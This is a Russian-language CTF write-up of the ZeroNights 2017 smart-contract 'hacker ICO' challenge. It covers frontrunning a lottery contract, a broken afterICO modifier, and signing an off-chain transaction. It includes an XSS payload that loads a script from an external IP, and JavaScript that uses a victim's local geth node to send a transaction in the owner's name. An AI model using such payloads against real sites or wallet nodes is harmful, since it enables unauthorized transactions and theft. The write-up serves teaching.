Оригинал: blog.positive.com
До проведения конференции по информационной безопасности ZeroNights 2017, было запущено хакерское ICO. Первые три участника, решившие задание, в качестве приза получали приглашение на конференцию. Лично мне была интересна тема безопасности в смартконтрактах, которая на данный момент набирает популярность в различных CTF.
Сайт ICO - это DApp, который взаимодействует с двумя смартконтрактами, размещенными в тестовой сети Rinkeby. Первый контракт - это токен HACK стандарта ERC20, через него вы можете узнать свой баланс, сколько всего было выпущенно моент, сколько было продано и так далее.
Стоит упомянуть что для победы нужно набрать 31337 монет.
Второй контракт - это реализация лотереи. Вот фрагмент кода:
Если вам улыбнется удача и вы угадаете число, то ваш адрес будет дабавлен в mapping desires. В whitepaper (как в настоящем ICO) было указано, что в белый список участники будут заноситься вручную, либо в результате победы в лотерее. Так давайте попробуем победить!Code:function spinLottery(uint number) public { if (msg.sender != robotAddress) { playerNumber[msg.sender] = number; players.push(msg.sender); NewLotteryBet(msg.sender); } else { require(block.number - lotteryBlock > 5); lotteryBlock = block.number; for (uint i = 0; i < players.length; i++) { if (playerNumber[players[i]] == number) { desires[players[i]].active = true; desires[players[i]].email = "*Use changeEmail func to set your email.*"; Proposal(players[i], desires[players[i]].email); } } delete players; // flushing round NewLotteryRound(lotteryBlock); } }
Победа в лотерее
Глядя на код выше, вы можете увидеть, что существует некий робот, который отправляет в контракт случайное число один раз в 5 блоков. Данное число отправляется в открытом ввиде, без использования сида. Это означает, что код подвержен атаке Transaction Ordering Dependence or Frontrunning. Другими словами, если мы достаточно быстры, чтобы посмотреть номер, отправленный роботом, и выпустить нашу собственную транзакцию с таким же номером, чтобы обе транзакции отображались в одном и том же блоке, мы можем выиграть в лотерею при условии, что наша транзакция будет обработана раньше транзакции робота. Как этого можно добиться? Очень просто, нам просто нужно увеличить цену за газ, чтобы она была выше, чем у робота. После нескольких попыток мне всё же удалось вписаться с ним в один блок.
Итак, я попал в desires, но я все еще не могу покупать токены. Для этого мой адрес должен быть перемещен из desires в whitelist. Из кода видно, что это может сделать только владелец контракта:
Попадание в белый списокCode:function addParticipant(address who) onlyController public { if (isDesirous(who) && who != controller) { whitelist[who] = true; delete desires[who]; AddParticipant(who); RemoveProposal(who); } }
У смарт контракта не оказалось уязвимостей, которые могли бы мне помочь. Однако веб-приложение, написанное на Vue.js, имело следующий код, который отображал адрес электронной почты пользователя:
Это означает, что контролируемый пользователем ввод отражался на странице без санитизации, проще говоря — у нас есть XSS. Используя метод changeEmail, я получил некоторую HTML-разметку, заинжекченую на страницу.Code:domProps: { innerHTML: t._s(e.email) }
С этого момента становится интереснее: что если владелец контракта зайдет на данную страницу в своем браузере? Если это произойдет, мы сможем попытаться отправить транзакцию через локальный geth узел, обычно работабщий на localhost:8545, который добавит нас в белый список от имени владельца контракта, при условии, что он будет авторизован. Выглядит маловероятно, но попробовать стоило. Вскоре после этого я накидал следующий код на JS:
Code: JavaScriptvar web3 = new Web3(new Web3.providers.HttpProvider("http://localhost:8545"));
var abi = /* CONTRACT ABI HERE */[];
web3.eth.defaultAccount = web3.eth.accounts[0];
var c = web3.eth.contract(abi).at("0xd80cc3550da18313af09f bd35571084913cd5246");
c.addParticipant("0x949db1e44B7762683d1Cf947D2B3c2 358bD7434A", function(a,b){console.log(b)});
Создав файл со скриптом на моей машине, я отправил транзакцию changeEmail со следующим кодом вместо моего адреса электронной почты:
К моему удивлению, владелец контракта действительно зашел на сайт, и у него был узел geth, работающий на localhost. Код отработал хорошо, и вскоре я увидео свой адрес в whitelist.Code:<img src=x onerror='var a=document.createElement("script");a.src="http://52.207.112.238/test.js";document.body.append(a);'>
Покупка токенов
На данном шаге меня ничто не останавливало от покупки 31337 токенов. За исключением одной проверки в методе buy:
Это означет что я не могу владеть более чем 1000 HACK коинов. Но что если мы попробуем переместить эти 1000 токенов на другой адрес и купить еще 1000?Code:require(hack.balanceOf(msg.sender) + hacks <= 1000 ether);
Давайте взглянем на метод transfer:
Он имеет модификатор afterICO, который должен помещать нам перевести средства. Однако он оказался неэффективным из-за того что условие не было внесено внутрь require:Code:function transfer(address _to, uint256 _value) public afterICO returns (bool) {/* ... */}
После 32-x итераций “покупки/передачи” я получил необходимый баланс токенов:Code:modifier afterICO() { block.timestamp > November15_2017; _; }
На самом деле нужно получить +1 HACK, иначе не получиться пройти проверку.
Создание off-chain транзакции
Последний шаг, на первый взгляд, казался очень простым. Нужно было подписать off-chain транзакцию, которая содержить HACK в поле msg.data. Ключевое слово здесь - транзакция. Я провел пару часов, безнадежно пытаясь заставить скрипт проверки провалидировать подписанное сообщение, как в CTF Ethernaut, пока не понял, что нужна подписанная off-chain транзакция.
Нет простых способов сделать это через web3, но, к счастью,проект ethereumjs-tx оказался подходящим инструментом для этой задачи.
Транзакции в Ethereum подписываются закрытым ключом отправителя, поэтому для начала мы должны извлечь его из MetaMask. После многочисленных попыток создать правильную струкруту транзакции, я наконец придумал следующий сценарий:
Code: JavaScriptvar Transaction = require('../index.js')
var tx = new Transaction(null, 1)
var privateKey = new Buffer('cafebabe', 'hex')
var rawTx = {
nonce: '0x00',
gasPrice: '0x09184e72a000',
gasLimit: '0x2710',
to: '0x9993ae26affd099e13124d8b98556e3215214e81',
value: '0x00',
data: '0x4841434b' // HACK
}
var tx = new Transaction(rawTx)
tx.sign(privateKey)
var serializedTx = tx.serialize()
console.log(serializedTx.toString('hex'))
После отправки результата я наконец получил флаг, который обеспечил мне второе место.
Спасибо организаторам за отличный конкурс и до новых встреч!
© Translated by f0x0f special for r0 Crew






Reply With Quote
Thanks
